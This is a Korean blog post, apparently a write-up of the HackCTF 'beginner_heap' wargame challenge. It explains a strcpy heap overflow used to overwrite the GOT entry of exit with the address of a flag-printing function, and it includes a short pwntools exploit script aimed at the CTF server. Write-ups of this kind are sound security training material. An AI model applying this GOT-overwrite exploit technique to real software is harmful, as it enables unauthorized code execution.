문제 바이너리를 file 명령으로 확인해보면 64bit 바이너리이고, checksec 명령으로 확인하면 nx 보호기법만 있는 것을 확인할 수 있다.
아이다에서 main 함수를 확인하면 다음과 같다.
동적할당으로 v3(16 바이트), v3+1(8바이트), v4(16 바이트), v4+1(8바이트) 에 값을 할당하고 있고, 변수 s에 두 번 입력을 받고, s의 값을 strcpy함수로 v3+1, v4+1에 s의 값을 복사하는데, s에 입력받을 수 있는 값이 매우 크기 때문에 bof 취약점이 발생한다.
또한 다음과 같이 0x400826에서 선언된 함수에서 flag를 출력하고 있다.
첫 번째 fgets 함수에서 v4+1까지 더미값을 채우고 main 함수에서 exit 함수를 실행하고 있으니, exit 함수의 got를 넣고, 다음 fgets 함수에서 플래그를 출력하는 함수의 주소를 넣으면 exit함수의 got가 플래그 실행함수의 주소로 써져서 exit를 실행할때 플래그를 출력할 수 있다. 더미값은 v4까지 16+8+16 = 40 바이트를 채운다.
익스코드를 작성하면 다음과 같고, 실행하면 플래그를 얻을 수 있다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")
pay = "A" * 40
pay += p64(e.got["exit"])
p.sendline(pay)
pay = p64(0x400826)
p.sendline(pay)
p.interactive()
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] UAF (0) | 2021.11.12 |
---|---|
[HackCTF] RTC (0) | 2021.10.06 |
[HackCTF] Yes or no (0) | 2021.08.23 |
[HackCTF] Look at me (0) | 2021.08.06 |
[HackCTF] RTL_Core (0) | 2021.07.30 |